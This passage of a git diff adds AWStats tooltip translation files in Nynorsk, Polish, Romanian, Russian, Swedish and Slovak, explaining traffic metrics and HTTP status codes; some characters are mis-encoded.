--> +<!-- $Revision: 1.2 $ - $Date: 2008/10/05 11:13:13 $ --> +<div class="CTooltip" id="tt1"> +Eit nytt bes�k er ein ny <b>gjest</b> som ikkje har vore tilkopla nettstaden siste <b>#VisitTimeOut# minutt</b>. +</div> +<div class="CTooltip" id="tt2"> +Talet p� klientvertar (<b>IP-adresser</b>) som har bes�kt nettstaden, og har sett minst �i <b>side</b>).<br /> +Denne informasjonen gjeld talet p� <b>forskjellige personar</b> som har bes�kt sida. +</div> +<div class="CTooltip" id="tt3"> +Talet p� gongar ei <b>side</b> p� nettstaden har blitt <b>vist</b>.<br /> +Denne informasjonen skil seg fr� �treff� ved � berre telja HTML-sider, og ikkje bilde og andre filer. +</div> +<div class="CTooltip" id="tt4"> +Talet p� gongar ei <b>side</b>, eit <b>bilde</b> eller ei <b>fil</b> p� nettstaden har blitt <b>vist</b> eller <b>lasta ned</b>. +</div> +<div class="CTooltip" id="tt5"> +Denne informasjonen viser kor mykje data som har blitt lasta ned totalt (<b>sider</b>, <b>bilde</b> eller andre <b>filer</b>).<br /> +Einingane er KiB, MiB eller GiB (kibibyte, mebibyte eller gibibyte) +</div> +<div class="CTooltip" id="tt13"> +#PROG# kan sj� n�r eit bes�k p� nettstaden din kjem fr� eit <b>s�k</b> p� dei <b>#SearchEnginesArray# mest popul�re s�kjemotorane og emnekatalogane</b> (f.eks. Yahoo, Altavista, Lycos, Google og Kvasir). +</div> +<div class="CTooltip" id="tt14"> +Liste over alle <b>eksterne sider</b> som har lenkjer til nettstaden din (berre dei <b>#MaxNbOfRefererShown#</b> mest brukte eksterne sider blir vist). +Lenkjer fr� s�kjemotorar er ikkje tatt med her, d� desse allereie er oppf�rt i tidlegare i tabellen. +</div> +<div class="CTooltip" id="tt15"> +Denne tabellen viser dei mest brukte <b>s�kjeorda og s�kjeuttrykka</b> brukt til � finna nettstaden i s�kjemotorar og emnekatalogar. +(S�kjeord fr� dei <b>#SearchEnginesArray#</b> mest popul�re s�kjemotorane og emnekatalogane kan lesast av #PROG#, f.eks. Yahoo, Altavista, Lycos, Google, og Kvasir).<br /> +Merk at talet p� s�kjeord kan vera h�gare enn talet p� s�kjeuttrykk, for n�r to eller fleire s�kjeord blir brukt i same s�k, vil kvart ord telja med i oversikta over s�kjeord. +</div> +<div class="CTooltip" id="tt16"> +Robotar blir brukt av mange s�kjemotorar som bes�kjer nettstaden din for � indeksera og rangera han, samla statistikk om nettstader, og/eller sj� om nettstaden framleis er tilgjengeleg.<br /> +#PROG# kjenner til <b>#RobotArray#</b> robotar. +</div> +<div class="CTooltip" id="tt17"> +All tidsrelatert statistikk er basert p� tenartida. +</div> +<div class="CTooltip" id="tt18"> +Rapporterte tal er <b>gjennomsnittsverdiar</b> (rekna ut fr� all data mellom f�rste og siste bes�k i analyseperioden) +</div> +<div class="CTooltip" id="tt19"> +Rapporterte tal er <b>kumulative summar</b> (rekna ut fr� all data mellom f�rste og siste bes�k i analyseperioden) +</div> +<div class="CTooltip" id="tt20"> +Nokre <b>bes�kslengder</b> er �ukjente� fordi dei ikkje kan reknast ut. Hovudgrunnane for dette er:<br /> +– Bes�ket er ikkje ferdig n�r rapportoppdateringa skjer.<br /> +– Bes�ket starta etter klokka 23:00 p� den siste dagen i m�naden. (Tekniske grunnar hindrar AWStats � rekna ut bes�kslengda i desse tilfella.) +</div> + +<div class="CTooltip" id="tt201"> Inga beskriving av denne feilen. </div> +<div class="CTooltip" id="tt202"> F�respurnaden vart forst�tt av tenaren men vil bli prosessert seinare. </div> +<div class="CTooltip" id="tt204"> Tenaren har prosessert f�respurnaden men har ikkje noko innhald � senda. </div> +<div class="CTooltip" id="tt206"> Delvis innhald. </div> +<div class="CTooltip" id="tt301"> Det f�respurte dokumentet er flytta, og finst no p� ei anna sida. Brukaren blir auomatisk vidaresendt til den nye adressa. </div> +<div class="CTooltip" id="tt302"> Inga beskriving av denne feilen. </div> +<div class="CTooltip" id="tt400"> Syntaksfeil. Tenaren forsto ikkje f�respurnaden. </div> +<div class="CTooltip" id="tt401"> Pr�vde � henta ei <b>side som var passordsikra</b>.<br />Mange slike feilmeldingar kan tyda p� at nokon pr�ver � bryta seg inn p� nettstaden din. </div> +<div class="CTooltip" id="tt403"> Pr�vde � henta <b>side som er utilgjengeleg (sj�lv med passord)</b> (for eksempel ein katalog som er definert som ikkje lesbar). </div> +<div class="CTooltip" id="tt404"> Pr�vde � henta ei <b>ikkje-eksisterande side</b>. Denne feilen tyder oftast at det er ei lenkje ein eller annan plass p� nettstaden din (eller p� ei ekstern side) som ikkje fungerer, og som m� oppdaterast. </div> +<div class="CTooltip" id="tt408"> Tenaren har brukt <b>for mykje tid</b> p� � svara p� ein f�respurnad. Denne feilen gjeld enten eit treigt CGI-skript tenaren m�tte avslutta, eller tungt trafikkert tenar. </div> +<div class="CTooltip" id="tt500"> Intern feil. Denne feiled kjem ofte av CGI-skript som har blitt avslutta unormalt. </div> +<div class="CTooltip" id="tt501"> Ukjent f�respurnad. </div> +<div class="CTooltip" id="tt502"> Kode returnert av ein HTTP-tenar som fungerer som proxy eller systemport n�r ein ekte tenar ikkje svarer p� f�respurnaden. </div> +<div class="CTooltip" id="tt503"> Intern tenarfeil. </div> +<div class="CTooltip" id="tt504"> Systemport tidsavbroten. </div> +<div class="CTooltip" id="tt505"> St�ttar ikkje HTTP-versjonen. </div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-pl.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-pl.txt new file mode 100644 index 0000000..84adacb --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-pl.txt @@ -0,0 +1,68 @@ +<!-- Polish tooltips message file --> +<!-- $Revision: 1.2 $ - $Date: 2008/10/05 11:13:13 $ --> +<div class="CTooltip" id="tt1"> +Wizyty ka�dego <b>nowego go�cia</b>, kt�ry ogl�da� stron� i nie ��czy� si� z ni� przez ostatnie <b>#VisitTimeOut# mn</b>. +</div> +<div class="CTooltip" id="tt2"> +Adres numeryczny hosta klienta (<b>tzw. adres IP</b>) odwiedzaj�cego t� stron�.<br /> +Ten numer mo�e by� identyczny dla <B>kilku r�nych Internaut�w</B> kt�rzy odwiedzili stron� tego samego dnia. +</div> +<div class="CTooltip" id="tt3"> +�rednia liczba obejrzanych <B>stron</B> przypadaj�ca na jednego Internaut�. (Suma go�ci, wszystkich wizyt).<br /> +Ten licznik r�ni si� od kolumny z prawej, gdy� zlicza on tylko strony html (bez obrazk�w i innych plik�w). +</div> +<div class="CTooltip" id="tt4"> +Liczba wszystkich <b>stron, obrazk�w, d�wi�k�w, plik�w</b>, kt�re zosta�y <b>obejrzane</b> lub <b>�ci�gni�te</b> przez kogo�.<br /> +Warto�� jest jedynie orientacyjna, zaleca si� spogl�da� na licznik "strony". +</div> +<div class="CTooltip" id="tt5"> +Liczba <b>kilobajt�w</b> �ci�gni�tych przez Internaut�w.<br /> +Jest to suma wszystkich �ci�gni�tych danych <B>(strony html, obrazki, d�wi�ki)</B>. +</div> +<div class="CTooltip" id="tt13"> +#PROG# rozr�nia dost�p do stron <b>z zagranicznych wyszukiwarek</b> dzi�ki <b>#SearchEnginesArray# najpopularniejszym przegl�darkom internetowym</b> (Yahoo, Altavista, Lycos, Google, Voila, etc...). +</div> +<div class="CTooltip" id="tt14"> +Lista wszystkich <b>stron spoza serwera</b> z kt�rych trafiono na ten serwer (wy�wietlanych jest <b>#MaxNbOfRefererShown#</b> stron z kt�rych najcz�ciej si� odwo�ywano. +</div> +<div class="CTooltip" id="tt15"> +Ta kolumna pokazuje list� najcz�ciej u�ywanych <b>s��w kluczowych</b>, dzi�ki kt�rym znaleziono t� stron� w wyszukiwarkach. +(#PROG# rozr�nia zapytania s��w kluczowych z <b>#SearchEnginesArray#</b> najpopularniejszych wyszukiwarek, takich jak Yahoo, Altavista, Lycos, Google, Voila, etc...). +</div> +<div class="CTooltip" id="tt16"> +Roboty s� <b>programami sieciowymi</b> skanuj�cymi strony w celu zebrania/aktualizacji danych (np. s�owa kluczowe do wyszukiwarek), lub sprawdzaj�cymi czy strona nadal istnieje w sieci.<br /> +#PROG# rozr�nia obecnie <b>#RobotArray#</b> rob�w. +</div> +<div class="CTooltip" id="tt17"> +Wszystkie statystyki bazuj� na czasie serwera. +</div> +<div class="CTooltip" id="tt18"> +Here, reported data are: <b>average values</b> (calculated from all data between the first and last visit) +</div> +<div class="CTooltip" id="tt19"> +Here, reported data are: <b>cumulative sums</b> (calculated from all data between the first and last visit) + +</div> +<div class="CTooltip" id="tt20"> +Pewne <b>d�ugo�ci wizyt</b> s� podane jako nieznae, gdy� nie zawsze mog� zosta� obliczone. Najcz�ciej wynika to z:<br /> +- Wizyta jeszcze trwa�a podczas aktualizacji statystyki,<br /> +- Wizyta rozpocz�a si� po 23:00 ostatniego dnia miesi�ca (ze wzgl�d�w technicznych #PROG# nie przelicza d�ugo�ci takich sesji) +</div> + +<div class="CTooltip" id="tt201"> Zlecenie POST zosta�o zrealizowane pomy�lnie. </div> +<div class="CTooltip" id="tt202"> ��danie zosta�o odebrane poprawnie, lecz b�dzie p�niej zrealizowane przez serwer. </div> +<div class="CTooltip" id="tt204"> Serwer przetworzy� ��danie, lecz nie posiada �adnych danych do wys�ania. </div> +<div class="CTooltip" id="tt206"> Cz�ciowa zawarto��.</div> +<div class="CTooltip" id="tt301"> Dokument zosta� przeniesiony pod inny adres.</div> +<div class="CTooltip" id="tt302"> Dokument zosta� czasowo przeniesiony pod inny adres.</div> +<div class="CTooltip" id="tt400"> Zlecenie by�o b��dne, lub niemo�liwe do zrealizowania przez serwer.<br />B��d powstaje wtedy, kiedy serwer WWW otrzymuje do wykonania instrukcj�, kt�rej nie rozumie.</div> +<div class="CTooltip" id="tt401"> B��d autoryzacji. Strona wymaga podania has�a i loginu - b��d pokazuje si� wtedy, gdy kt�re� z tych danych si� nie zgadza lub zosta�y podane niew�a�ciwiwe.<br />Je�li liczba ta jest du�a, jest to sygna� dla webmastera, i� kto� pr�buje z�ama� has�o do strony nim zabezpieczonej.</div> +<div class="CTooltip" id="tt403"> B��d wyst�puje wtedy, gdy katalog/strona do kt�rego si� odwo�ywano nie ma ustawionych w�a�ciwych praw dost�pu, lub prawa te nie pozwalaj� na obejrzenie zawarto�ci katalogu/strony.</div> +<div class="CTooltip" id="tt404"> Spr�buj wpisa� <b>nie istniej�cy adres URL</b> (np. adres tej strony ze skasowan� jedn� literk�). Znaczy to, �e posiadasz gdzie� na swoich stronach b��dny link, lub link odnosz�cy si� do nieistniej�cej strony.</div> +<div class="CTooltip" id="tt408"> Przegl�darka nie wys�a�a ��da� do serwera w czasie jego oczekiwania. Mo�esz powt�rzy� ��danie bez jego modyfikacji w czasie p�niejszym. </div> +<div class="CTooltip" id="tt500"> B��d wewn�trzny. Ten b��d cz�sto pojawia si�, gdy aplikacja CGI nie zako�czy�a si� normalnie (podobno ka�dy program zawiera przynajmniej jeden b��d...:-). </div> +<div class="CTooltip" id="tt501"> Serwer nie umo�liwia obs�ugi mechanizmu. </div> +<div class="CTooltip" id="tt502"> Serwer jest chwilowo przeci��ony i nie mo�e obs�u�y� zlecenia.</div> +<div class="CTooltip" id="tt503"> Serwer zdecydowa� si� przerwa� oczekiwanie na inny zas�b lub us�ug�, i z tego powodu nie m�g� obs�u�y� zlecenia.</div> +<div class="CTooltip" id="tt504"> Serwer docelowy nie otrzyma� odpowiedzi od serwera proxy, lub bramki.</div> +<div class="CTooltip" id="tt505"> Nie obs�ugiwana wesja protoko�u HTTP. </div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-ro.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-ro.txt new file mode 100644 index 0000000..b90c948 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-ro.txt @@ -0,0 +1,86 @@ +<!-- Traducere in limba romana de Florin Radulescu: florin_ef309@yahoo.com --> +<!-- $Revision: 1.2 $ - $Date: 2008/10/05 11:13:13 $ --> +<div class="CTooltip" id="tt1"> + O noua vizita este definita ca fiind orice <b>acces al unui vizitator</b> + care nu a fost conectat la site in ultimele <b>#VisitTimeOut# mn</b>. +</div> +<div class="CTooltip" id="tt2"> +Numarul de masini client (<b>adresa IP</b>) care vin sa viziteze + site-ul (si care au vizionat cel putin o <b>pagina</b>).<br /> +Aceste date se refera la numarul de <b>persoane fizice diferite</b> + care au ajuns pe site in oricare din zile. +</div> +<div class="CTooltip" id="tt3"> + De cate ori o <b>pagina</b> a site-ului este vizionata (suma pentru + toti vizitatorii si toate vizitele).<br /> Aceasta informatie difera de + "Accesari" deoarece numara doar paginile HTML si nu si imaginile sau alte + tipuri de fisiere. +</div> +<div class="CTooltip" id="tt4"> + De cate ori o <b>pagina, imagine, fisier</b> de pe site a fost + <b>vizionata</b> sau <b>descarcata (download)</b> de catre + cineva.<br /> + Aceasta informatie este furnizata doar ca referinta deoarece pentru + marketing este de multe ori preferat numarul de "pagini" vazute. +</div> +<div class="CTooltip" id="tt5"> + Aceasta informatie contine traficul total de date pentru toate + <b>paginile</b>, <b>imaginile</b> si <b>fisierele</b> de pe site.<br /> + Unitatea de masura este KB, MB sau GB (KiloBytes, MegaBytes sau GigaBytes) +</div> +<div class="CTooltip" id="tt13"> + #PROG# recunoaste accesele la site rezultate dintr-o <b>cautare</b> efectuata cu ajutorul a <b> + #SearchEnginesArray# din cele mai cunoscute motoare de cautare si repertoare</b> +(ca Yahoo, Altavista, Lycos, Google, Voila, etc...). +</div> +<div class="CTooltip" id="tt14"> + Lista tuturor <b>paginilor externe</b> care au fost punctul de plecare (si de intrare) + in site (sunt listate doar primele <b>#MaxNbOfRefererShown#</b> in ordinea numarului de utilizari). + Intrarile pe site din rezultatul generat de motoarele de cautare sunt excluse aici deoarece + ele au fost deja incluse in precedenta linie a acestui tabel. +</div> +<div class="CTooltip" id="tt15"> + Acest tabel contine lista celor mai frecvente <b>cuvinte cheie</b> care au fost + utilizate de motoarele de cautare sau repertoare pentru a gasi acest site. + (Cuvintele cheie folosite de cele mai cunoscute <b>#SearchEnginesArray#</b> + motoare de cautare sau repertoare - Yahoo, Altavista, Lycos, Google, Voila, etc... - + sunt recunoscute de #PROG#). +</div> +<div class="CTooltip" id="tt16"> + Robotii sunt <b>programe vizitator automate</b> utilizate de multe motoare de cautare + si care scaneaza situl web pentru a-l indexa si evalua, pentru a colecta statistici + despre siturile web din Internet si/sau pentru a verifica daca situl este online.<br /> +#PROG# recunoaste <b>#RobotArray#</b> roboti. +</div> +<div class="CTooltip" id="tt17"> + Toate statisticile referitoare la timp sunt bazate pe timpul din masina care gazduieste + serverul web. +</div> +<div class="CTooltip" id="tt18"> + Aici, datele listate sunt: <b>valori medii</b> (calculate din toate datele intre prima + si ultima vizita) +</div> +<div class="CTooltip" id="tt19"> + Aici, datele listate sunt: <b>insumari cumulative</b> (calculate din toate datele intre + prima si ultima vizita) +</div> + +<div class="CTooltip" id="tt201"> Nici o descriere pentru aceasta eroare. </div> +<div class="CTooltip" id="tt202"> Cererea a fost inteleasa de server dar va fi procesata mai tarziu. </div> +<div class="CTooltip" id="tt204"> Serverul a procesat cererea dar nu exista nici un document de trimis. </div> +<div class="CTooltip" id="tt206"> Continut partial. </div> +<div class="CTooltip" id="tt301"> Documentul cerut a fost mutat si este acum la o alta adresa continuta in raspuns. </div> +<div class="CTooltip" id="tt302"> Nici o descriere pentru aceasta eroare. </div> +<div class="CTooltip" id="tt400"> Eroare de sintaxa, serverul nu a inteles cererea. </div> +<div class="CTooltip" id="tt401"> Incercare de a accesa un <b>URL unde este necesara autentificarea cu user/parola</b>.<br />Un numar mare in acest loc poate insemna ca cineva (de exemplu un hacker) incearca sa sparga sau sa intre in site (sperand sa intre intr-o zona securizata incercand de exemplu diferite perechi user/parola). </div> +<div class="CTooltip" id="tt403"> Incercare de a accesa un <b>URL care nu a fost configurat sa fie atins, nici macar cu o autentificare user/parola</b> (de exemplu un URL dintr-un director care nu este definit ca accesibil). </div> +<div class="CTooltip" id="tt404"> Incercare de a accesa un <b>URL inexistent</b>. Aceasta eroare inseamna adesea ca exista o legatura invalida undeva pe site sau ca un vizitator a tastat gresit un URL. </div> +<div class="CTooltip" id="tt408"> Serverul a consumat <b>prea mult timp</b> pentru a raspunde cererii. Aceasta eroare indica adesea un script CGI lent pe care serverul a incercat sa-l aborteze sau un server web extrem de incarcat. </div> +<div class="CTooltip" id="tt500"> Eroare interna. Aceasta eroare este deseori cauzata de un program CGI care s-a terminat anormal (de exemplu prin coredump). </div> +<div class="CTooltip" id="tt501"> Cerere de actiune necunoscuta. </div> +<div class="CTooltip" id="tt502"> Cod returnat de un server HTTP care lucreaza ca un proxy sau gateway in cazul in care un server tinta real nu a raspuns cu succes cererii client. </div> +<div class="CTooltip" id="tt503"> Eroare interna server. </div> +<div class="CTooltip" id="tt504"> Depasire timp la Gateway. </div> +<div class="CTooltip" id="tt505"> Versiune HTTP nesuportata. </div> + + diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-ru.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-ru.txt new file mode 100644 index 0000000..7420f24 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-ru.txt @@ -0,0 +1,53 @@ +<!-- Russian tooltips message file --> +<!-- $Revision: 1.3 $ - $Date: 2009/10/25 11:12:36 $ --> +<div class="CTooltip" id="tt1"> +Новым посетителем считается <b>пришедший посетитель</b>, которого не было на сайте более <b>#VisitTimeOut# минут</b>. +</div> +<div class="CTooltip" id="tt2"> +Количество хостов (<b>IP адресов</b>), которые посетили сайт (кто просмотрел как минимум одну <b>страницу</b>).<br /> +Данная цифра отражает количество <b>различных посетителей</b>, зашедших на сайт в течении одного дня. +</div> +<div class="CTooltip" id="tt3"> +Количество <b>просмотренных страниц</b> сайта (сумма всех посетителей).<br /> +Эти данные отличаются от "хитов", так как здесь учтены только HTML-страницы без учета графики и прочих файлов. +</div> +<div class="CTooltip" id="tt4"> +Количество <b>страниц, изображений и файлов</b> сайта, которые были <b>просмотрены</b> или <b>скачаны</b> посетителями.<br /> +Эти данные приведены только для сравнения, т.к. количество просмотренных "страниц" кораздо важнее для исследования трафика сайта. +</div> +<div class="CTooltip" id="tt5"> +Здесь отражен объем всех <b>страниц</b>, <b>изображений</b> и <b>файлов</b>, скачанных с сайта. +</div> +<div class="CTooltip" id="tt13"> +#PROG# распознает каждое посещение посетителя после <b>поиска</b> в <b>#SearchEnginesArray# наиболее популярных поисковых серверах и каталогах</b> (таких, как Yahoo, Altavista, Lycos, Google, Yandex, и пр...). +</div> +<div class="CTooltip" id="tt14"> +Список всех <b>внешних страниц</b>, на которых была размещена ссылка на данный сайт (показано только <b>#MaxNbOfRefererShown#</b> наиболее популярных внешних страниц). Ссылки с поисковых серверов здесь не отображены. +</div> +<div class="CTooltip" id="tt15"> +Здесь указаны наиболее распространенные <b>ключевые слова</b>, использованные для поиска в поисковых машинах и каталогах. +(#PROG# распознает ключевые слова с <b>#SearchEnginesArray#</b> поисковых серверов и каталогов). +</div> +<div class="CTooltip" id="tt16"> +Роботы (иногда называемые пауками) - это <b>автоматические компьютерные посетители</b>, используемые многими поисковыми системами для того, чтобы (1) индексировать и ранжировать страницу, (2) собирать статистику по сайтам и/или (3) смотреть, доступна ли до сих пор ваша страница on-line.<br /> +#PROG# распознает до <b>#RobotArray#</b> роботов. +</div> + +<div class="CTooltip" id="tt201"> Для данной ошибки нет описания. </div> +<div class="CTooltip" id="tt202"> Данный запрос был понят сервером, но будет обработан позднее. </div> +<div class="CTooltip" id="tt204"> Сервер обработал запрос, но не обнаружил данных для отправки посетителю. </div> +<div class="CTooltip" id="tt206"> Частичное содержание. </div> +<div class="CTooltip" id="tt301"> Документ был перемещен и находится по адресу, находящемуся в ответе. </div> +<div class="CTooltip" id="tt302"> Для данной ошибки нет описания. </div> +<div class="CTooltip" id="tt400"> Синтаксическая ошибка, сервер не может обработать запрос. </div> +<div class="CTooltip" id="tt401"> Попытка доступа к <b>URL где +логин/пароль обязательны</b>.<br />Большое количество данных ошибок говорит о том, что некто (например, хакер) пытался проникнуть в закрытую область сайта с помощью перебора различных вариантов логина и пароля. </div> +<div class="CTooltip" id="tt403"> Попытка доступа к <b>URL который не был настроен для доступа (даже с указанием логина и пароля)</b> (к примеру, дирректория, которая не была помечена как "browsable"). </div> +<div class="CTooltip" id="tt404"> Попытка доступа к <b>несуществующему URL</b>. Данная ошибка говорит о неправильном указании ссылки на данном сайте или устаревшей ссылке с внешнего сайта. </div> +<div class="CTooltip" id="tt408"> Сервер затратил <b>слишком много времени</b> на подготовку ответа на запрос. Эта ошибка возникает в случает либо медленного CGI скрипта, который сервер завершает, не дождавшись ответа, либо при сильно загруженном сервере. </div> +<div class="CTooltip" id="tt500"> Внутренняя ошибка. Такая ошибка появляется после CGI скриптов, которые завершаются с ошибкой. </div> +<div class="CTooltip" id="tt501"> Неизвестное требуемое действие. </div> +<div class="CTooltip" id="tt502"> Код, возвращенный HTTP сервером, который работает в качестве proxy или шлюза, когда настояший сервер неправильно ответил на запрос клиента</div> +<div class="CTooltip" id="tt503"> Внутренняя ошибка сервера. </div> +<div class="CTooltip" id="tt504"> Тайм-аут шлюза. </div> +<div class="CTooltip" id="tt505"> Данная версия HTTP не поддерживается. </div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-se.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-se.txt new file mode 100644 index 0000000..897f54e --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-se.txt @@ -0,0 +1,62 @@ +<!-- $Revision: 1.2 $ - $Date: 2008/10/05 11:13:13 $ --> +<div class="CTooltip" id="tt1"> +Ett nytt bes�k �r en <b>bes�kare</b> (som tittar p� en <b>sida</b>) som inte varit inne p� sajten p� <b>#VisitTimeOut# minuter</b>. +</div> +<div class="CTooltip" id="tt2"> +Antal bes�kare (<b>IP-adresser</b>) som bes�kte sajten (och som tittade p� minst en <b>sida</b>).<br /> +Detta v�rde anger antalet <b>olika fysiska personer</b> som n�tt siten p� en dag. +</div> +<div class="CTooltip" id="tt3"> +Antal g�nger en <b>sida</b> p� sajten har bes�kts (Summa f�r alla bes�kare f�r alla bes�k).<br /> +Detta v�rde skiljer sig fr�n "tr�ffar" genom att det bara r�knar HTML-sidor, ej bilder eller andra filer. +</div> +<div class="CTooltip" id="tt4"> +Antal g�nger en <b>sida, bild eller fil</b> fr�n sajten har <b>bes�kts</b> eller <b>laddats hem</b> av n�gon.<br /> +Detta v�rde finns bara med som referens eftersom antalet "sidor" som bes�kts oftast �r b�ttre att titta p� ur marknadsf�ringssynpunkt. +</div> +<div class="CTooltip" id="tt5"> +Detta v�rde visar hur mycket data som har laddats hem genom alla <b>sidor</b>, <b>bilder</b> och <b>filer</b> p� hela sajten.<br /> +Enheterna �r Kb, Mb or Gb (KiloByte, MegaByte eller GigaByte) +</div> +<div class="CTooltip" id="tt13"> +#PROG# k�nner igen n�r bes�kare hittar din sajt genom en <b>s�kning</b> i de <b>#SearchEnginesArray# popul�raste s�kmotorerna och katalogerna</b> (s�som Yahoo, Altavista, Lycos, Google, Voila, osv...). +</div> +<div class="CTooltip" id="tt14"> +En lista p� alla <b>externa sidor</b> som l�nkar till (och bes�kare anv�nt f�r att komma till) din sida (Bara de <b>#MaxNbOfRefererShown#</b> mest anv�nda l�nkarna visas). +L�nkar i s�kresultaten fr�n s�kmotorerna tas inte med h�r eftersom de redan r�knats in i f�reg�ende rad i tabellen. +</div> +<div class="CTooltip" id="tt15"> +Denna tabell visar de vanligaste <b>nyckelorden</b> som anv�nts f�r att hitta din sajt genom s�kmotorer och kataloger. +(#PROG# k�nner igen nyckelord fr�n de <b>#SearchEnginesArray#</b> vanligaste s�kmotorerna och katalogerna, s�som Yahoo, Altavista, Lycos, Google, Voila, osv...). +</div> +<div class="CTooltip" id="tt16"> +Robotar (kallas ocks� Spindlar) �r <b>automatiska datoriserade bes�kare</b> som anv�nds av m�nga s�kmotorer som s�ker av din webbsajt f�r att indexera och rangordna den, samla statistik f�r webbsajter och/eller se om din sajt fortfarande finns kvar.<br /> +#PROG# k�nner igen upp till <b>#RobotArray#</b> olika robotar. +</div> +<div class="CTooltip" id="tt17"> +All tidsrelaterad statistik baseras p� klockan p� webbservern. +</div> +<div class="CTooltip" id="tt18"> +H�r visas <b>medelv�rden</b> (ber�knade f�r alla bes�k fr�n det f�rsta till det sista) +</div> +<div class="CTooltip" id="tt19"> +H�r visas <b>ackumulerade summor</b> (ber�knade f�r alla bes�k fr�n det f�rsta till det sista) +</div> + +<div class="CTooltip" id="tt201"> Ingen beskrivning finns f�r detta fel. </div> +<div class="CTooltip" id="tt202"> Servern f�rstod beg�ran men kommer bearbeta den senare. </div> +<div class="CTooltip" id="tt204"> Servern har bearbetat beg�ran men har inte genererat n�got svar. </div> +<div class="CTooltip" id="tt206"> Endast en del av inneh�llet �verf�rdes. </div> +<div class="CTooltip" id="tt301"> Sidan har flyttats och ny adress finns i svaret. </div> +<div class="CTooltip" id="tt302"> Ingen beskrivning finns f�r detta fel. </div> +<div class="CTooltip" id="tt400"> Syntax fel, servern f�rstod inte beg�ran. </div> +<div class="CTooltip" id="tt401"> N�gon f�rs�kte komma �t en <b>URL d�r inloggning kr�vdes</b>.<br />Ett h�gt v�rde h�r skulle kunna inneb�ra att n�gon (t.ex. en hacker) f�rs�ker bryta sig in i din sajt (t.ex. genom att pr�va sig fram tills de hittar r�tt l�senord). </div> +<div class="CTooltip" id="tt403"> N�gon f�rs�kte komma �t en <b>URL som �r inst�lld s� att man inte kommer �t den ens med r�tt l�senord</b> (till exempel en katalog som �r inst�lld att inte till�ta bl�ddring.). </div> +<div class="CTooltip" id="tt404"> N�gon f�rs�kte n� en <b>icke existerande URL</b>. Detta betyder ofta att det finns en felaktig l�nk p� din sajt eller att n�gon stavade fel till en URL. </div> +<div class="CTooltip" id="tt408"> Servern har tagit <b>f�r l�ng tid</b> p� sig att besvara en beg�ran. Detta beror ofta p� ett l�ngsamt cgi-skript eller att servern �r �verbelastad. </div> +<div class="CTooltip" id="tt500"> Internt fel. Detta fel orsakas ofta av att ett cgi-skript g�r fel (t.ex. g�r en coredump). </div> +<div class="CTooltip" id="tt501"> Ok�nd beg�ran. </div> +<div class="CTooltip" id="tt502"> Felkod som genereras d� en HTTP-server som arbetar som proxy eller gatewayt ine f�r svar fr�n den verkliga servern som skulle ha svarat p� klientens beg�ran. </div> +<div class="CTooltip" id="tt503"> Internt serverfel. </div> +<div class="CTooltip" id="tt504"> Timeout i gateway </div> +<div class="CTooltip" id="tt505"> HTTP-versionen st�ds ej. </div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-sk.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-sk.txt new file mode 100644 index 0000000..0249396 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-sk.txt @@ -0,0 +1,55 @@ +<!--SK by lecram@lecram.sk (please contact if something wrong)--> +<!-- $Revision: 1.2 $ - $Date: 2008/11/15 15:55:45 $ --> + +<div class="CTooltip" id="tt1"> +Noví návštevníci su definovaní ako ka¾dý <b>prichádzajuci</b> (prehliadajúci si alebo prechádzajúci), kto +sa na stránky nepripojil posledních <b>#VisitTimeOut# min</b>. +</div> +<div class="CTooltip" id="tt2"> +Poèet klientov (<b>IP address</b>), ktorí pri¹li na stránky (a ktori si prehliadli aspoò jednu <b>stránku</b>). +Toto èíslo prislucha èíslu <b>roznych fyzických osob</b>, ktori navštívili stránky ktorýkolvek <b>jeden</b> den. +</div> +<div class="CTooltip" id="tt3"> +Poèet kolkokrát bola <b>stránka</b> na tomto servery <b>pozreta</b> (Suèet za všetky navštevujucí a ich návštevy). +To se liši od <b>Hitov</b> tak, ¾e su zapoèítane iba stránky (nie obrázky a ostatne...). +</div> +<div class="CTooltip" id="tt4"> +Poèet kolkokrát bola <b>stránka, obrázok, subor</b> na tomto servery <b>stiahnuta</b> (Suèet za všetky navštevující a jejich návštevy). +Toto èíslo je uvedene kvoli porovnániu zo <b>Stránkami</b>. +</div> +<div class="CTooltip" id="tt5"> +Velkost všetkych <b>stránok, obrázkov a suborov</b> stiahnutych z tohoto serveru. +</div> +<div class="CTooltip" id="tt13"> +#PROG# rozpozná prístup na server od <b>vyhladávanie</b> z <b>#SearchEnginesArray# najznámejších internetových vyhledávaèov a zoznamov</b> (ako je Yahoo, Altavista, Lycos, Google, Voila, atd...). +</div> +<div class="CTooltip" id="tt14"> +Seznam všech <b>externích stránek</b> (mimo server), které byly pou¾ity jako odkaz na tento server (Je zobrazeno jen <b>#MaxNbOfRefererShown#</b> nejèastìjších). +Odkazy pou¾ité z vyhledávaèù nejsou zaøazeny, nebo» je obsahuje jiný údaj. +</div> +<div class="CTooltip" id="tt15"> +Tato tabulka zobrazuje zoznam nejèastejsie zadavaných <b>výrazov</b>, ktoré boly zadávane vo vyhladávaèoch k najdeniu tohoto serveru. +(Výrazy od <b>#SearchEnginesArray#</b> najznámejších vyhladávaèov a zoznamov su #PROG# rozpoznany, ako je Yahoo, Altavista, Lycos, Google, Voila, atd...). +</div> +<div 